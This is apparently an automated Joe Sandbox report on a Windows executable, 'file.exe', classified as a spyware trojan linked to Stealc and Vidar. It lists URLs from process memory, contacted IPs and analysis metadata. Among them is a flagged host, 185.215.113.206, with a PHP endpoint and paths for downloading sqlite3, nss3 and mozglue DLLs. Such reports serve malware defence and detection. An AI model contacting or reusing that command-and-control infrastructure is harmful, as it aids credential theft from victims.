https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440064402.000066C400740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437559354.000066C400510000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://.goof	chrome.exe, 00000004.00000002.2436317826.000066C400194000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bf	chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-query.fastly-edge.com/f	chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000004.00000003.2346155335.000066C4010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346260319.000066C400FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347871923.000066C40101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347713404.000066C400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346228870.000066C40112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346186126.000066C4010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346632616.000066C4010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C4002F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347752954.000066C400818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json.9.dr	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/9h	chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpA4	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C400303000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441773835.000066C400A3F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000004.00000002.2441841156.000066C400A60000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3586emulateAdvancedBlendEquations	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllU	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2447634512.000066C400FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441210477.000066C4009C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dllG	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php17	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones	chrome.exe, 00000004.00000002.2440064402.000066C400740000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://csp.withgoogle.com/csp/gws/cdt1rj	chrome.exe, 00000004.00000002.2445732717.000066C400E80000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443551282.000066C400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpata	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 00000004.00000002.2443364514.000066C400C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000004.00000002.2439865814.000066C4006CC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2524987567.000005C00017C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EGCBFIEHIEGCAAAKKKKE.0.dr	false		unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000004.00000003.2346155335.000066C4010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346260319.000066C400FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347871923.000066C40101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347713404.000066C400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346228870.000066C40112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346186126.000066C4010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346632616.000066C4010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C4002F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347752954.000066C400818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEklyT	chrome.exe, 00000004.00000002.2439641285.000066C400660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2575259570.000000002335E000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icos	chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll7	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllQ	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000004.00000002.2440316994.000066C4007F4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440258343.000066C4007D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437559354.000066C400510000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_458.6.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll.	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-daily-3.corp.googlP2	chrome.exe, 00000004.00000002.2436920801.000066C400324000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2329595624.000066C4001E0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpu7	file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chromewebstore.google.com/	chrome.exe, 00000004.00000002.2435802152.000066C40001C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2524987567.000005C00017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore/	manifest.json0.9.dr	false		unknown
https://clients4.google.com/chrome-sync	chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/tools/feedback/chrome/__submitf	chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.221.22.184	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.181	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.206.78	plus.l.google.com	United States	15169	GOOGLEUS	false
216.58.206.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	play.google.com	United States	15169	GOOGLEUS	false
23.218.232.185	unknown	United States	24835	RAYA-ASEG	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.222.241.148	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
23.218.232.139	unknown	United States	24835	RAYA-ASEG	false
13.70.79.200	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.168.2.47	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.47.50.146	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.6
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544763
Start date and time:	2024-10-29 17:58:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/297@26/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.251.168.84, 172.217.18.14, 192.229.221.95, 34.104.35.123, 93.184.221.240, 142.250.185.195, 216.58.212.170, 142.250.186.170, 142.250.186.74, 142.250.186.138, 142.250.74.202, 142.250.184.202, 172.217.18.10, 142.250.184.234, 216.58.206.42, 142.250.181.234, 142.250.185.234, 216.58.206.74, 142.250.186.42, 142.250.186.106, 172.217.16.138, 172.217.16.202, 142.250.185.74, 142.250.185.138, 216.58.212.138, 142.250.185.106, 172.217.18.106, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 172.217.18.110, 13.107.6.158, 2.19.126.152, 2.19.126.145, 4.175.223.124, 48.209.164.47, 88.221.110.179, 88.221.110.195, 23.38.98.100, 23.38.98.98, 23.38.98.87, 23.38.98.99, 23.38.98.92, 23.38.98.93, 23.38.98.80, 23.38.98.94, 23.38.98.82, 2.23.209.161, 2.23.209.133, 2.23.209.149, 2.23.209.148, 2.23.209.182, 2.23.209.187, 2.23.209.179, 2.23.209.158, 2.23.209.183, 2.23.209.150, 2.23.209.177, 2.23.209.176, 2.23.209.185, 13.74.129.1, 13.107.21.237, 204.79.197.237, 142
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, prod-agic-ne-4.northeurope.cloudapp.azure.com, www.bing.com.edgekey.net,
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:59:37	API Interceptor	133x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
